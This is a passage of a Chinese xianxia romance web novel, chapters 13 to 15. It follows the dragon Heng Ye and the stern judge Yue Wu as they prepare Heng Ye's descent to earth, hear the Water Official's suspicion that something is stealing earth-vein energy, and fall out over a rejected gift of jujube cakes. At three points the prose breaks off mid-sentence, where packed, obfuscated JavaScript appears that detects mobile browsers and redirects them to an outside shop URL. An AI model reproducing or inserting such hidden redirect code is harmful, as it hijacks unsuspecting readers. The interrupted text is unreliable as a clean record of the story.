纸榜眼飘过来,用没分手指的“手”拍拍珩夜胸口,一条眉毛高高挑起:“听说你和月芜绑了红线?好小子,这就把活阎王拿下了?同住一屋?出息呀!” 这纸榜眼也太不礼貌,竟胡乱猜臆他和月芜! “胡说八道什么!”珩夜皱眉将它推开,纸片顿时皱乱,豁了道口子。 纸榜眼气得哇哇直叫:“臭小子,算辈分我是你的姑奶奶,竟敢推我!我的红袍子烂了,叫月芜来赔!” 珩夜噤声妙法捏在手中尚未弹出,身后殿门豁然一开,一道寒芒激射而出——纸榜眼一声惊叫,飞快躲到珩夜身后,那道寒光停在纸片身前两寸,是月芜的霜骸剑。 月芜徐徐走出,按了按眉心:“赔什么?” 到底把他吵醒了,珩夜没好脸色,一把拽出纸榜眼。 纸榜眼胳膊被他拽裂一半,要掉不掉地挂着,哇哇叫道:“赔我的清荷!赔我的地脉!赔我的真仙!眼看要摸到升仙阶的门槛,被昭仪这秃毛鸡一搅,我还得倒贴百年修为!天官管不好下属!地官数不清魂魄!天帝生的什么烂儿子!都要我水官来擦屁股!” 月芜没工夫听她抱怨,霜骸逼近:“到底何事?” 纸榜眼嚷嚷道:“早知你要舞刀弄剑,我式神挨个儿等着、排着队来扰你,你又能拿我怎样!” 天庭从来行规矩步,古板枯燥,珩夜还是头一回见这样胡搅蛮缠的。 他被吵得头疼,呼出一口阳火,把纸榜眼的脸烧出一个大洞——这下它没嘴可嚷了。 纸榜眼呜啦啦手脚乱舞,但耳朵还在。 珩夜双臂环抱,笑道:“你来便是,来一个烧一个,直到能好好说话为止。” 这龙!月芜侧目瞧去,还说他不是纨绔,他便是无法无天的祖宗,仙界第一的纨绔。 转眼纸榜眼被烧得灰都不剩。 月芜无奈:“你惹她做什么。” 珩夜有些烦躁:“她太吵——你再休息会儿,脉案我看完了,只差核对。” 天光大亮,奉言抱着一摞公文上值。 月芜转身进殿:“既知要下界修复地脉龙气,还和水官作对?” “那又如何?”珩夜笑道,“我还怕她吗?” 奉言将公文摆在月芜桌案上,又去给他换茶。 珩夜斜坐在月芜桌案对面,以手支颐:“不过这水官好奇怪,三官大帝不都是真仙境界吗?怎么听她的意思,她只是个天仙?” 月芜一边处理公务,一边回答:“她执掌水府江河,可借地脉龙气,勉强能达真仙境界。实际上,她是天地异兽。大罗金仙除你外,都只有天仙之资。” 珩夜讶然:“怎么可能,她的式神上没有异兽气息。” “她是一只蜃,集风泽之气、晨浩之精,生来吞云吐雾,气息梦幻,最擅藏匿,”月芜蘸笔饱满,题字批文,淡声指出,“你没发现很正常。” “难怪,”珩夜气笑了,“难怪她说论辈分她是我的姑奶奶——好大的口气。” “论辈分,”月芜一哂,“你能大过谁?” “我也有四千岁啊!”珩夜见他批完一份,将他的文书按住不许他拿。 月芜神情微变,冷冽一声:“珩夜。” “偏不,”珩夜笑了笑,那双暗金色的眼睛变得危险,声音也放轻,“我成年了。不许你看轻。” 说完他将手一松,招来侧案的地脉飘在眼前翻看。 这龙! 月芜见他懒散自在的模样,心中不快,取过文书继续公务。 转瞬,月芜又想起件事,颇觉有趣,冷淡道:“你即将孵化那日,瑶池大宴群仙,我也去了。那天西王母要在场每位仙人都做一件事,你知道是什么?” “嗯?”珩夜视线还停留在脉案上,疑惑一声才偏头来问,“——是什么?” “王母命群仙为你赐福,”想来好笑,月芜眉梢微动,“偏偏那枚龙蛋在我手上,裂了。” 珩夜一撇嘴:“我知道这事……那你有没有给我赐福?” 倒是有,但他不说。月芜只说:“我将龙蛋交还西王母,待你破壳时,正巧有公务,便走了。” “真无情,”珩夜笑了笑,“怎么想起这件事?” “忽然想起,按照凡间说法,你算是我‘接生’的。”月芜调侃。 珩夜很快明白“接生”这个凡词是什么意思,他的脸色顿时垮下去,竖起龙瞳看他。 月芜不仅不怕,心中反而有种戏弄的乐趣。 越是这么想,他的声音越平静:“待你破壳,四帝、三官、雷斗二部、并数位星君凑成一团,低头看西王母手中捧着的你。我飞远了,没细看,心中却想——好一条小虫。” 珩夜胸口起伏不平——这人! 实在可恨可爱! 珩夜想起西海大荒上,把他砸进海里的那三剑。他知道月芜是故意的,故意要他愤慨—— 缓了又缓,未等平复,月芜又准确道出他的年纪:“三千六百岁——没有四千岁。” “你!”珩夜气得站起来。 这人! 非要戳穿龙的心虚吗! 月芜没能忍住笑声,他甚至带着笑意抬头挑衅。 怎么会有这样的人!珩夜心想,又可气,又让人气不出来!把他的心捂紧,又让它失去节奏地乱跳! 珩夜一屁股坐下,盯了他半晌,磨牙道:“待哪日我气狠了,用龙的力量强迫你,你就不会笑我了。” “对,”月芜眼中笑意未散,声音放轻,仿佛私密耳语,却将“杀”字咬紧,“我会直接杀了你。” 珩夜心头一跳,为此刻的月芜痴迷,却怀一丝侥幸——他突然去抓月芜的手! “锃”一声轻盈剑鸣——月芜左手反持霜骸,架在珩夜颈项上。 “——你以为我在说笑?”剑锋和月芜都离他很近,珩夜紧紧看着他的眼睛,感受到他的呼吸就在唇畔。 第一次,月芜用这样的眼神看向他,挑衅的、戏弄的、危险的,不是一掬无色无味的水,也不是一块冷淡的冰——仿佛他月华般的外表下,藏着一颗能把人灼伤的心。 珩夜一时痴怔,但那柄凛冽如霜的剑又让他很快清醒,他的感官从眼睛降落到手上。 月芜的手指节分明,握剑处略有薄茧,那不是一双养尊处优的手。 珩夜缓缓将他的手松开。 确认了珩夜的温驯,月芜带着一丝满意的笑意向后抽离,轻巧地唤他:“小龙。” 珩夜垂落的眼睫微微一颤,声音也紧得很。在这样的月芜面前,他确实稚嫩…… “我才发现,”珩夜按住领口,清了清喉咙,“你竟然这么坏——” “即将下界了,你当适应,”月芜抽过一本公文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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珩夜将他昨夜做的功课放在月芜桌案:“这是我对比新旧脉案,得出的损毁明细和想法,你帮我看看,有没有错漏。” 月芜点头:“好。我会尽快看完。” 珩夜走出殿外,发现天刑司宫门前聚集着好些纸榜眼,只是仙官上值了,把它们统统拦住。 纸榜眼们气得跳脚,呜啦呜啦嘴里不停地念叨。 珩夜随手弹出一缕阳火,将它们都烧了,径直向天池星海飞去—— 弘岘僵硬坐在石桌旁,手里攥着本道藏,形容枯槁,两眼发直,嘴唇干裂,结结巴巴地背书—— 红鸾跳脚:“怎么还能背错呢!” 天喜嘴边挂着一个大燎泡。 天姚直挺挺躺在桃花树下,一块绢帕盖在脸上,任花瓣飘落覆盖为自己做冢。甚至伸手用羽扇将旁边的花瓣拨弄,为自己“添冢”。 “对不起对不起!”弘岘熟练地道歉,又磕磕绊绊从头来过,“……人以愚圣,我以不愚圣;人以奇……” “又错了!求你睁眼把书再看一遍,”红鸾真没法子了,“那是‘人以愚虞圣,我以不愚虞圣’!” 红鸾振臂高呼:“天耶,把我带走吧!” 下一刻,珩夜降落下来,犹如神降,他一脸认真:“我不要你。我要把弘岘带走。” 弘岘如闻天音,扑过来抱他的靴,珩夜一脸莫名地躲开,他没管太多,只道:“我要下界一趟,需要个懂凡情的仙使。” “我懂我懂!”弘岘立马把书抛了,一味想抓住面前这根救命稻草,大哭道,“渊侯——救我性命!” 13. 涌暗流 那条小龙走了,天刑司又恢复往日的沉静。 奉言躬身出现在殿门外,月芜了然:“让水官的式神进来。” 奉言顿了顿:“渊侯出门时将它们都烧了,新的还没来。” “……” 正当无奈之际,有仙官来通传:“天官真仙请见。” 烧了小的,来了靠山。月芜暗自摇头:“请——” 果不其然,天官落座,寒暄一句,“你这的茶还是这么苦,”随后转入正题—— “水官向来跳脱,但毕竟是三官之一,渊侯初任仙职,掌教不该放任他纵火。” 月芜心中好笑,天官只敢在他面前说说罢了。 “渊侯是天地真龙,万鳞之长,”月芜声音淡淡,“水官偏要自称是他的姑奶奶,论的不是公事,烧的不是公务,术法止于式神造物。何来放任,何来纵火?” 天官细长而精明的眉眼将他端察,似要将他看透,却只见一片坦然。 月芜直言:“非我藏私,是真仙心中亲疏有别。不如直说,水官有什么要避开渊侯、才能说的事。” 水官莽撞的声音从天官怀中蹿出来:“我就知道!这天上地下,最规矩的就是他!谁能抓到掌教的把柄?” 月芜神情没有丝毫波动,没有意外,也没有多余的好奇。他抬手施法,降下一道屏障,将殿内的声音隔绝。 天官洒然一笑,将传信玉牌取出,放在桌边。 水官还在嚷嚷:“本来直接就能说的事,偏遇上珩夜这小子,我只好一顿胡扯。要怪就怪你留他在你这儿睡觉,不能怪我!他烧了我七个式神呢,七个!” 天官清了清嗓子,温和安抚道:“大家公务繁忙,你有什么事,就直说吧。” “谁能有我忙!现在的我就是凡间推磨的驴、耕地的牛、拉车的马!都多久没能休息了!还不让人抱怨几句!”水官长叹息一声,突兀地转折,“——南赡部洲有些奇怪。” 天官坐正,月芜眉间微蹙:“你发现了什么?” “怪就怪在这里——我什么也没发现。但我有种诡异的直觉,”少女声音凝重,“地脉中似乎有什么东西,在偷吃南赡部洲的先天之炁。” 天官郑重起来,言语间不再亲昵:“总有蛛丝马迹,让你产生这样的直觉。” “凡间四大部洲,水府江河皆归我管,地域广袤。因我是蜃兽,大梦间通感云泽之变,入梦时对地脉的感悟范围最为宏大,所以我常在梦中,鲜少醒来,”水官娓娓诉说,“这也意味着,我的感悟无法集中和敏锐。” “直到昭仪作乱,南赡部洲地脉失衡超出寻常范畴,我命清荷前去查看,竟让她送了性命!”水官顿了顿,哀戚道,“我才震惊苏醒……” “……这些年我亲自在南赡部洲坐镇,却总感觉有怪异之处,”水官疑虑,“比如掌教的那一剑,借仙庭之气润泽大地生机,原本能保三年收成,但仅仅一年后,那道剑气的余韵就彻底消散。” 月芜翻开那一年的脉案:“捉拿昭仪后,凡间‘赵琰’身份彻底死去,皇权空悬,又起纷争,依照当年地脉的损毁程度,仅维续一年并不奇怪。” 水官立时接话:“对,就是这样,我只能感受到怪异,但那怪异并不彻底!介于有无之间——所以我说这是我诡异的直觉!” 天官沉凝:“还有什么佐证吗?” “有,”水官迅速道,“昭仪征战,亡魂多拘在南方,但北部地脉龙气的流失同样迅速——是,我知道你们会说,地脉龙气会向低处流转——但那流通的速度,我总觉得比正常要快上那么一丁点;而流通的损耗,又比合理范围多上那么一丁点。” 月芜看向桌案上珩夜的功课,眉心彻底拧起:“所以你和地官上报的勘合中,提请昆仑相助。” “不错,我想看看如果渊侯的龙气将地脉补足,这份怪异是否会消失,但我不敢明说,”水官停顿几息,“——南赡部洲动荡成这样,直到清荷身死我才惊觉。昭仪只杀了清荷一个,但南赡部洲悄无声息请辞、被困的地值官不止一个。我不得不怀疑——” “内部作乱。”月芜早有猜测,因而并不意外。 天官眯起他精明的眼睛,立时推测:“地官可信吗?” “我不知……”水官喃喃,忽而又孩子气般,“头疼死了!我只是后土娘娘的坐骑!一只蜃虫而已!人的心思我看不懂!” “先别慌乱,”天官安抚道,“你做得已经很多、很好了。” 但水官停不下来:“都怪那该死的相繇!不是因为他,后土娘娘不会陷入沉睡!娘娘叫我做这水官,又不来帮我!留下一道分神,不会说话、不会作法,只能当个宴会上的摆设,都不如我的纸榜眼!我的命怎么这么苦!睡不了觉!没有休息!还让不让蜃活了!” 天官与月芜对视一眼,二人默契地没有说话。 说到最后,水官呜呜哭起来:“我都多久没和天官见面,我太惨了!” 她口不择言地嚎啕:“连自己的男人都睡不到!” “……”天官只好代为解释,非常无力,“并非与她梦中相会,只在她梦醒的间隙……” “是啊,从前入梦是上值,醒来才是休息,”水官非常坦荡,“可我现在明明醒着,却不能去找你!” 天官连忙安慰:“忙过这一阵,会有见面之日的。” “那要到什么时候……我现在、”水官几近崩溃,“根本忙不完!啊!” “好了,”月芜在他们交谈时喝了口茶,此刻放下茶盏,“你递交勘合时,是和地官一起吗?” 水官打了个嗝:“对。” 天官问:“他是什么神情态度?” “我真说不出来,他管幽冥地府、轮回转世,虽然都在下界办公,但交集实在少得可怜,”水官说了句题外话,情绪变得极快,嘿嘿笑道,“真有来往,天官不得醋死?” “……”天官无话可说。他不是来给水官撑腰的,他是来接住水官丢的脸的。 月芜面无表情,只谈公事:“地官部是否参与地脉修复?” 水官答道:“不曾参与。” 月芜又问天官:“功曹院分拨去地、水二部帮忙的人,有异常吗?” 天官头一次感谢天刑司掌教是个清冷无情的活阎王,让他不至于羞愤,还能好好地谈论公务。 他快速回想一番,摇了摇头:“没发现什么。我会暗中吩咐下去,让他们留心观察。” “不,”月芜打断他的思路,“赐福司刑空大半,真仙如何确保,功曹院没有被染指?” 天官一凛:“你的意思是说……” 水官慢一拍,她还没懂:“什么和什么?” “蜃是天地异兽,对天地自然的感知更为敏锐,她的‘直觉’不可忽视。”月芜断然道,“如果真有那么一股力量在窃取地脉龙气,他们究竟是昭仪之乱的余党,还是借昭仪之乱达成目的,还未可知。” “我们在明,敌人在暗,”天官立即反应过来,“不能打草惊蛇,只能抽丝剥茧。” “啊?”水官听懂了,“那我要怎么做?” “像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597643|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在这样就很好,”月芜想到珩夜即将下界,问道,“按你的‘直觉’,下界是否有危险?” 水官说:“没有啊!” 她说得太轻易,天官拧眉道:“你再仔细体会一遍,不要马虎。” “……真的不太有,”水官哧哧笑起来,“我是天地异兽,凡尘于我而言太渺小,对我有威胁的东西太少。” 她又怅然低落:“可惜我只能察觉到关系自身的,不然也不会让清荷送掉性命……人,还是太脆弱了……” “要说的我都说完了,我去凿大地了,再会!”水官将传信玉牌掐断。 天官叹息一声。 月芜看见他疼惜的神情。 对于这样的神情,月芜只觉得遥远和朦胧,他无法共情,也不曾产生类似的感觉,他捏紧手中的文书——那是珩夜的功课,他还没看完。 天官再度尝了一口天刑司的茶水,被苦得神思一清,放下茶盏道:“我也要回衙办公了,掌教不必相送。” “真仙留步。”月芜唤住他。 天官转身来,以眼神询问。 难得,天刑司掌教竟有片刻犹豫——难道? 天官分外包容地笑了笑:“掌教可是要问情爱之事?” 月芜蹙眉,似是拿不准,点了点头:“算是。” 太阳真是打西边出来了,天官心中讶然,这根红线竟然真能让天刑司掌教变了个人? 却听月芜问:“真仙和水官,多久相会一次?” 天官惊得略退半步,竟然还是这样私密的问题!都说了他们相会是为了“睡觉”……他和渊侯发展这么快吗! 他那表情叫月芜疑惑,陡然间,他明白过来这厮在想什么! “真仙不要误会,”月芜彻底冷淡下去,“我是在问,近千年来水官从梦中苏醒的频率。如果有异常,或许要防范她身边的近侍了。” 天官立时一震! 仙灵天真烂漫,难通人性,当着水官的面提醒,身边人真要有异常,她多半装不下去。 所以月芜才单独和他说! 天官拜服,诚挚一礼:“多谢掌教提醒。” “……”月芜道,“不送。” 天官步出殿外,也踏出月芜的仙术屏障。 珩夜抱臂在旁等候,身边蹲着一只弘岘。 “渊侯。”天官礼数周全,丝毫没有问罪他烧毁水官式神的意思。 珩夜不知天官水官的关系,也不还礼,仍旧那副抱臂的姿态,朝他一笑:“看来是机密公事,聊得够久的。” 多少有几分阴阳怪气。 天官这样的人精能听不出来么? 他心念一转,面上笑眯眯的,不见丝毫波澜,只道:“掌教聪慧善谋,让我受益良多。” 言罢拱手离去。 珩夜暗自咬牙,一撩衣摆大步流星走入殿内,径直坐在月芜桌案对面问:“掌教聪慧善谋,给天官真仙提了什么好计策,让他受益良多?” 月芜沉落眉眼,一脸莫名。 一直守在屏障外的奉言,十分机敏,快步走到月芜身侧,趁着换茶机会,掩唇将方才的事小声告知。言毕快步退守殿门,拦住迷迷糊糊想跟进来的弘岘。 月芜看了看那易怨易怒的小龙,他又想笑了。 珩夜知道奉言告密,但他不管,只肃容看着月芜。 “和你说过了,人是很坏的,”月芜忍不住微微勾起嘴唇,“又被人算计。珩夜,你下界要怎么办?” 他怕有人把小龙卖了,小龙还为他人数钱! 14. 赤华烬 珩夜一开始没明白,怔了片刻,才意识到自己被人家轻飘飘一句话就牵着鼻子走。 他瞧出月芜又在暗中笑他,磨了磨牙,反问道:“若不是你和他密谈,我怎么会被他一句话算计?” 月芜一边翻看他的功课,一边说:“你烧了他道侣七个式神,他找我问责不成,自然在你身上使计。” “问责?他找你麻烦了?”珩夜一愣,随即抓住另一个词,“他和水官是道侣?” 月芜叮嘱:“知道的人不多,在外不要多言。” 珩夜一撇嘴角。 月芜看他那副模样忍不住摇头:“水官的脾气来得快,去得也快。她曾是后土娘娘的坐骑,向来口无遮拦。她若再讲了你不爱听的话,你只当敬重娘娘,不必和她争执。” “你在教我下界后如何和她相处吗?”珩夜斜倚在桌边,吊起眉梢,“我是下界修复地脉龙气的,不是和她斗嘴去的。不然怎么会挑选弘岘当仙使?” 月芜从他的功课里睨他一眼。 小龙又开始得意,若是露出龙尾,只怕此刻已经摇起来了。 珩夜将心中的算盘拨弄给月芜听:“弘岘帮了水府司的清荷玄仙,是昭仪案中有功之人,选他做仙使,水官必然不会刁难。何况修复地脉龙气,我也是在帮她的忙。” 月芜翻过一页,目光落在他笔势张扬的字上:“这么说,你还有几分城府。” 珩夜嗤笑:“从前我不愿想这些弯弯绕绕罢了。” 他歪在桌案的样子,确实是条懒散不拘的龙。视线垂落,功课已翻到最后一页,月芜指尖在文书的封底停留,戒指的微光透过纸背,他垂眸看了一会儿,不知在想什么。 月芜将文书合上,递还给他:“功课做得不错。” 珩夜眉眼生动飞舞起来:“有没有奖励?” 月芜不理会他的索取,只道:“下界清浊不分,灵气稀薄,食物粗糙,走之前在王母那备好灵丹。另外,水官有一丸幻化面容、隐匿术法的灵药,名为‘蜃息丹’,佩在颈间还能变化声音——” 珩夜没了兴致:“这些琐事,我叫弘岘进来,你说给他听便是。” 月芜按住他:“等一等。” 他的手很轻,但就是这么轻轻搭在他手臂,珩夜便一动不动了。 只一瞬,月芜将手收回袖中。体温这么高……龙到底和人不一样。筋骨也结实。他蜷起手指。 “……蜃息丹他可以不用,你必须要用。”月芜的视线从他面容上扫过——这龙生得太招眼。 珩夜一时没听清他说了什么。隔着衣袖,那轻柔的触感还未消散。待反应过来,脸便有些热了。 “还有,”月芜认真道,“这丸丹药原是给凡间行走的水府司地值官使用,但在昭仪案中,却成了部分罪仙隐匿仙迹的工具。水官尽职有余,谨慎不足,须多留几分心思。” 珩夜对上他的视线,品了品他的叮嘱,心中热切,盯着他的手问:“这是奖励吗?” 月芜不语,但霜骸出现在手中。 二人沉默对峙片刻,珩夜投降笑道:“好吧好吧。我不逗你了。” 月芜不耐道:“方才和你说的,你听懂了吗?” “听懂了,我知道你的意思,”珩夜笑说,“我不信他们,只信你。” 月芜不理会他趁机作乱的胡言,挥手去掉屏障,唤门口二人:“都进来。” 奉言领着弘岘进殿。 这是珩夜选择的仙使,月芜平静思索,弘岘对仙界知之甚少,不够老练,但胜在他积善飞升,又是昭仪案的功臣,可以信任—— 弘岘刚从道藏的噩梦中被渊侯捞出来,脚下还软着,鞋尖勾住门槛边缘绊了一跤,他急急使出最近刚学的仙法,法术又弄错了!左脚反倒勾住右脚,身体往前踉跄不到半米,结结实实摔在了地上—— “……”月芜的思路断了。 奉言吓一跳,连忙搀扶:“仙使你还好吗?” “……”弘岘颤巍巍伸手摆了摆,身体疼得缩起来,当然也是羞的。 他好像……不太适合做仙人……弘岘心想,一定是他积善飞升用光了所有的运气,所以才会这样时不时地出糗倒霉。 弘岘爬起来拍拍衣袍,头也不敢抬地上前行礼:“小子弘岘,见过天仙。” “……”月芜想起他送来红线时那一番不合时宜的祝福,一时说不准该如何评价,他斟酌片刻,勉励道,“仙法还需修习。” 弘岘脸红到脖子。 月芜招手,一旁书架上飞出几本厚厚的书,摞在弘岘面前:“这是仙规戒律,回去熟读背诵……” 话还没说完,殿中“噗通”一声,弘岘颓然坐在地上,双目无神:“我、我能不能回去当凡人……我是真的背不来啊!” 他哽咽求助:“渊侯……” 珩夜捏了捏鼻梁,挥手一股风不容置喙地将他搀起:“他连阴符经上篇都背不出,这些仙规我拿回去看了就是,他帮我熟悉凡情就行。” 月芜早已拧眉。 弘岘被那风架着,对上月芜不满意的神情,深深将头低下去,想说什么,又不敢。 那缕风收起来,珩夜探究月芜的神色:“你别生气。” 弘岘脚下不稳地落了地,奉言搀住他,安抚地拍拍他后背:天刑司掌教是这样的,他对自己严格,便看不惯他人懒散,不说话时令人心中发怵。 月芜没说什么叫弘岘勤勉的话,更没有生气。人各有道,他从来不好为人师。 他只是在想:一条纯良聪慧从未下界的龙,和一个笨拙赤诚刚刚升仙的人——怎么想来都靠不住。 下界情况比他想象中更为复杂,水官又是那副粗疏不羁的个性。 与水官密谈之后,他不借人手的念头便悄然松动。 如果再给珩夜找一位仙使——月芜沉思—— 先前珩夜讲起,斗姆元君与西王母交好,斗姆元君在西王母面前称呼他为“我的儿”,可见关系密切。如果让西王母出面,给珩夜再找一位仙使,多半会在斗姆元君的南北二司中挑选。 但南北二司经过昭仪之乱,寿限生死簿的问题尚在整改,他们的人未必可信。 两位仙使站在下首,弘岘自责低落,奉言细致恭谨。 月芜视线在奉言身上停留一息,心中微叹。 他淡声道:“弘岘不通仙律,法术也欠缺。你将奉言带上吧。” 此言一出,珩夜和奉言都惊住了。 奉言甚至失态,倏然抬头看向他,又猛地低头恢复恭敬的姿仪,姿态僵硬。 珩夜惊讶道:“那你呢?” 月芜疑惑,他觉得这小龙无理取闹,难道还要他陪同吗?怎么可能。 月芜蹙眉:“我还有很多公务。” “……”珩夜怔愣片刻,觉得好笑,“我不是要你陪我,我是说奉言随我下界,你就没有仙使了。” “……”月芜顿了顿,“无妨。” 奉言晃了晃,脸色苍白,似乎好几次想抬头,都被他生生忍住。 弘岘呆愣地指指自己:“那我还要下界吗?” 月芜时常不想说话。 “自然,”珩夜笑他,“不随我公干,想去背书?” “不想不想,”弘岘拒绝噩梦,“想到要背书,不如当年死在凡间。” 珩夜被他逗得发笑,月芜只是无言。 奉言朝珩夜一拱手,声音紧张:“小仙也是凡人升仙。” 他抿抿嘴唇,问月芜一句:“不知历练回来后,是否还能侍奉掌教?” 月芜不明白,为什么他们总问一些显而易见的问题。 珩夜同样不解:“你不回来,还想去哪?你想升官去别处?” “不不不,”奉言愣了愣,随即笑起来,“能侍奉掌教足矣。” 一个不用背书,一个回来还能继续任职,两位仙使都挺高兴的。 “不要说‘侍奉’,”月芜纠正奉言,“你只是当了我的仙使,不是‘侍奉’。” 奉言一揖到底,恭敬一声:“是。小仙一定照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……好吃么?”珩夜有些期待。 入口的一瞬,月芜迅速变了脸色。 月芜猛地将那块糕点放在桌角废弃的纸张上。他的喉结艰难滚动,突然抗拒,变得极度疏冷—— “我不喜欢。” 他声音笃定得像一把直取人心的剑。 月芜甚至不愿用手再碰,仙法飞出,没碰过的那两碟糕点自觉飘回食盒中,食盒亦自行盖好被推回珩夜面前。 他动作迅速,瓷碟和食盒的声音震在珩夜耳中,将他炽热的心刺穿了、震碎了。 食盒一推,仿佛将他们刚刚靠近寸许的距离,推到比陌生人更远的位置去。 “山川脉案既已整理完毕,尽早出发才是正事。”月芜冷漠得好像什么都没发生过。 珩夜被他这一番打击得失神,他想问句为什么,又觉得这两天自己说尽好话,什么态度都表明了,但月芜直白的话只有一句,就是方才笃定说出口的“不喜欢”—— 月芜是不喜欢糕点,还是不喜欢他这个人? 又想起师兄待他的一片好意,心中难受,珩夜闷声将食盒收回,头也不回地走了。 殿内安静了一会儿。 月芜陡然捂住嘴唇,皱紧眉头。那口糕点噎在喉间,他试图咽下去,却在一瞬间的痉挛中全数吐了出来。他撑住桌沿,用力闭了闭眼睛,压下那股恶心的感觉,施法将自己清理干净。 桌上霜骸剑自发地飘起来,将桌角被咬了一口的糕点连同接触过的纸张一并挑落。赤华枣糕滚了两圈,燃起金色烈焰,和月芜吐出来的那一小角,全部烧成灰烬。 月芜看着那缕火光,眼神里辨不出是什么。 良久,地面光洁如初—— 月芜看向殿门,珩夜离去的方向,微微出神。他嘴唇微动,似乎想唤住什么,可是已经晚了,珩夜早已离去。 月芜没有发出声音。 只是瞬间的火焰,殿内却热气炎炎,蒸灼干燥。 他是殿中唯一的冷玉。 月芜低头看向自己蜷在袖中的手指——那份不属于他的体温,早就散了。 15. 心甘愿 弘岘和奉言在门口等了没一会儿,便见渊侯面色不虞地冲出来,宝珠脱手掷出,拉开一张玉屏,头也不回地走了。 弘岘和奉言对视一眼,二人还想回头看看殿内的月芜,玉屏那端传来闷闷的催促声:“还等什么?” 弘岘看着那玉屏发憷:“我又要晕了……” “习惯了会好的。”奉言劝慰着,将他拉入玉屏中。 弘岘一阵晕眩,只觉光线刺眼得很,一条温热柔软的躯体从他身边经过,顶住他快晕倒的身体。 弘岘低头看去,梅花黑豹稳稳撑直他的腰,一旁坐立的金猫虎彪优雅地舔着爪子,口吐人言道:“又是你,‘一杯倒’的小仙。” 弘岘不好意思地搔了搔头。 奉言连忙扯了扯弘岘的袖子,二人恭敬行礼:“小仙见过金母元君。” 一池仙泉五彩氤氲,一树仙桃枝条虬错,清丽的水泽之气伴随果香荡漾。 西王母阖眼仰躺在瑶池边晒太阳,豹尾慵懒摇晃,乌发逶迤垂地,一蓬粉色的桃树仙灵们正为她梳头编发,在她辫中扦插枝条和小花。 西王母轻轻挥手将二位仙使扶起。梅花黑豹和金猫虎彪摇身一变,化作一金一黑两个童子,挽着他二人坐在廊下。 珩夜一撩衣摆席地而坐,靠在西王母躺椅边。 西王母眼都没睁开,唇角便挂上笑意:“又在月芜那碰了钉子?” 珩夜沉着眉眼不想说话。 西王母哼道:“上次是星君们牵的红线,这回可是你自己撞上去的。撞疼了,又回来闹我的昆仑山?” 珩夜取出那盒赤华枣糕,拈起一块扔进嘴里,味道清甜软糯,伴随一道灵气洗去周身疲惫。 “不会再闹了,”珩夜紧紧皱着眉,低落道,“他不喜欢我。” 西王母闻着味道睁开眼,忍俊不禁:“哟,原来还有两盘。好在你有三分良心,还记得给我分一盘。” 珩夜气道:“阿母……!” 西王母拈起枣糕吃了,眯起眼睛细细品味,称赞道:“句芒的手艺一如既往地好。” “可惜某人不喜欢。”珩夜面色紧绷,嘴唇抿成一道直线。 “原来是这样,”西王母笑道,“他是不喜欢枣糕,还是不喜欢你?” “……他没说,”珩夜深呼吸一番,仰头靠在躺椅边缘,枕着手臂,看那一树鲜嫩碧绿的桃叶,“我问了他的剑,又与他论道,他因和我论道而精进,又教我看山川脉案。我想,他应当是认可我的。但送出去礼物,仍旧换来一句直白的‘不喜欢’。” 他抬起右手,看向那枚戒指,心念控制间,戒指变成细细的红线。 “我不明白,阿母,”珩夜露出一些迷惘,“或许不该算姻缘,命数之事不应提前揭晓。不然为什么我的心,因他一句话欢喜,又因他一句话烦闷?” 西王母暗暗发笑,也不戳破,兀自吃糕点,闲搭一句:“你前天夜里跑去三清境,第二天给我送来枣糕,我还以为你想明白了呢?” “原本是明白了,可他方才那么果断地说不喜欢,我就……”珩夜抿了抿嘴唇,“前日晚上,青帝让我入梦,梦中月芜十分温和亲切,但我不想要虚妄的他,将他推开。梦醒后,青帝点拨,要我‘去幻求真’,我是真的想明白了。” “但想明白了是一回事,”珩夜声音含糊,不好意思开口,又带着落寞,“被真实的他,用冰冷的态度对待,我还是会伤心。” “既然选择求真,付出伤心的代价在所难免,”西王母温柔道,“何况,我看他未必不喜欢你。他那性子,要是真不喜欢,早把你赶回来了。你去了一天一夜,难道只听见一句不喜欢?一句不喜欢,能说这么久?” 珩夜抬头与她对视,眼眶微微红着:“可他确实这么说了。” 西王母“哎哟”一声:“多大的人了,还像小时候爱哭吗?” 她手臂撑住身体歪向他,细细指教:“你都说了,你问他的剑,和他论道,他因论道得以精进。意味着,他认可你说的话,并且从中悟出了属于他的道理。这比言语上的喜不喜更贴近他的道心——何况人家没说不喜欢你这个人,‘他不喜欢你’这句话,貌似是你自己想的吧?” 珩夜一愣。他其实不知道,月芜说的“我不喜欢”是说他送的礼物还是说他……这两者有区别吗? 西王母见他这幅模样便知自己说中,恨铁不成钢地敲他的脑袋:“仙灵就是笨!天地异兽也不例外!上回他用天官算计你下界,这回呢?你不也说了,他教你看山川脉案来着?我从来没听说月芜费心教过谁!” 狠狠揍了他几下,西王母又戳他的脑门,语重心长:“你呀……修道有悟性,做人却稚拙。修道切忌‘执着’,你执意求真,眼前反倒看见虚相。我这样说,你是不是就懂了?还有脸在这里掉眼泪!” 二位仙使二位童子坐在廊下,金猫虎彪和奉言喝茶,梅花黑豹带着弘岘嗑灵瓜子,见渊侯挨打—— 金猫虎彪:“怜爱了。” 梅花黑豹:“又挨揍。” 弘岘挠挠脑袋,奉言只当自己没看见。 “……懂了。哪有掉泪,”珩夜揉了揉被敲痛的头,将眼中的湿润逼回去,嘴角克制不住地弯起来一点,反驳道,“您也是仙灵,也是天地异兽。您说我就罢了,怎么还带骂自己的?” 